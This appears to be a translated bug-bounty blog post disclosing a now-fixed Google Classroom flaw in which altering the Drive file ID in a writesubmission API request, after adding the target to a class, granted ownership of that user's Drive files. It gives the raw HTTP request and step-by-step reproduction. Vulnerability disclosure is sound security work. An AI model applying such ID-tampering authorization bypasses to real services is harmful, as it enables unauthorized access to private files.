利用Google Classroom漏洞窃取所有用户Google Drive文件

本文详细披露了Google Classroom中一个已修复的安全漏洞,该漏洞允许攻击者通过API请求篡改获得其他用户Google Drive文件的所有权。文章包含完整的技术分析、API调用细节和分步复现流程,涉及RBAC权限检查缺失和身份验证绕过等关键技术点。

泄露所有用户的Google Drive文件

大家好!好久不见。我决定撰写新的博客文章,分享我多年来在Google发现的一些顶级安全漏洞。我希望在未来几周内持续撰写这个系列文章,敬请关注。

这篇新文章将介绍我几年前发现的一个有趣漏洞,该漏洞允许你获取其他用户Google Drive文件的访问权限。对于不了解的人来说,Google Drive是一项文件共享服务,用户可以上传Word文档、PDF文件或任何类型的文件,并与其他用户共享。如果文件是私有的或不应与你共享,你将收到访问被拒绝的错误。

今天,我将展示如何在不被授权的情况下获取他人Google Drive文件的访问权限:)。

在开始之前,我需要说明该问题已被修复,并且Google VRP为此支付了丰厚的奖金 :D。

概念验证

在开始介绍这个POC之前,我需要简要说明一下Google Classroom的背景。对于不了解的人来说,Google Classroom是Google为教师/学生提供的服务,用于在类似课堂的环境中协作。你可以在classroom.google.com找到它,其工作方式是教师可以发布公告、作业、评分等。

当教师在Google Classroom上发布作业时,学生会收到一个向教师提交作业的页面。例如,该页面如下所示:

学生将看到上述页面,向课堂的教师提交作业以供评分。

在提交作业时,学生能够将文件附加到作业中。假设学生需要附加他们为课程撰写的论文。他们会将Google Drive DOC附加到作业中并点击提交。

问题就在这里出现了。

当学生向教师提交作业时,Google Classroom有一个流程,会授予课堂教师对提交文档的所有权。这是必要的,因为显然教师需要能够在学生提交后阅读文档。

当学生实际将Google Drive文件添加到他们的作业时,会运行以下API请求:

1
2
3
POST /v7/writesubmission?_reqid=4786040&rt=j HTTP/1.1
Host: classroom.google.com
f.req=[[3],[[["18537069787",["46653220298",["41400909728"]]],[["18537069787",["46653220298",["41400909728"]]],null,null,null,[[null,null,"1h8tReWm8Cp6bsv24BwMlimFrJ3w1d7sdpxYHfUr1rgw",2,"application/vnd.google-apps.ritz",null,null,null,null,null,null,null,null,null,[null,2]]],null,[],null,null,null,null,null,null,null,null,null,null,null,[],[]],[null,true],[]]],[null,true,null,true,true,null,true,true,true,null,null,null,true,null,[true],null,null,null,true,true,true,null,null,null,[[true,true]],[[true,true]]]]

如果我们仔细看,可以看到这个值:

"1h8tReWm8Cp6bsv24BwMlimFrJ3w1d7sdpxYHfUr1rgw"

这是学生Google Drive文件的ID,例如为作业提交的文件。没有适当的RBAC检查来验证你是否实际拥有附加到作业的Google Drive文件。

所以现在我们知道我们可以将任何Google Drive文件附加到我们的作业中,但Google Classroom后端会授予我文件的访问权限吗?

在最初的测试中,它没有授予我访问权限。因此,当时我认为RBAC检查工作正常,如果有什么问题,也更多是UI方面的问题。当我在上述请求中更改ID时,我无法获得我其他帐户的Google Drive文件的访问权限。

绕过方法?

经过进一步挖掘,有一个绕过方法完全有效。如果你将目标用户添加为你的Google Classroom的学生/教师,那么你现在就可以使用上述请求完全获得他们的Google Drive文件的完全访问权限。

流程如下:

  1. 将目标用户添加为你的Google Classroom的用户,并在课堂中创建一个作业。
  2. 将你控制的另一个帐户作为学生添加到课堂,并登录该帐户。
  3. 以你登录的学生帐户提交作业,并修改此请求:
1
2
3
POST /v7/writesubmission?_reqid=4786040&rt=j HTTP/1.1
Host: classroom.google.com
f.req=[[3],[[["18537069787",["46653220298",["41400909728"]]],[["18537069787",["46653220298",["41400909728"]]],null,null,null,[[null,null,"1h8tReWm8Cp6bsv24BwMlimFrJ3w1d7sdpxYHfUr1rgw",2,"application/vnd.google-apps.ritz"

并将你在步骤1中添加的课堂中目标用户的Google Drive的ID放入。

  1. 提交作业,你现在将能够访问他们的整个Google Drive文件并获得其所有权。

就是这样 :) 这里还有一个视频:

音乐请多包涵,因为Google VRP喜欢音乐,所以我通常会添加它。

如果你有任何问题,请随时在X上联系我: Cam (@SecretlyHidden1) / X

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计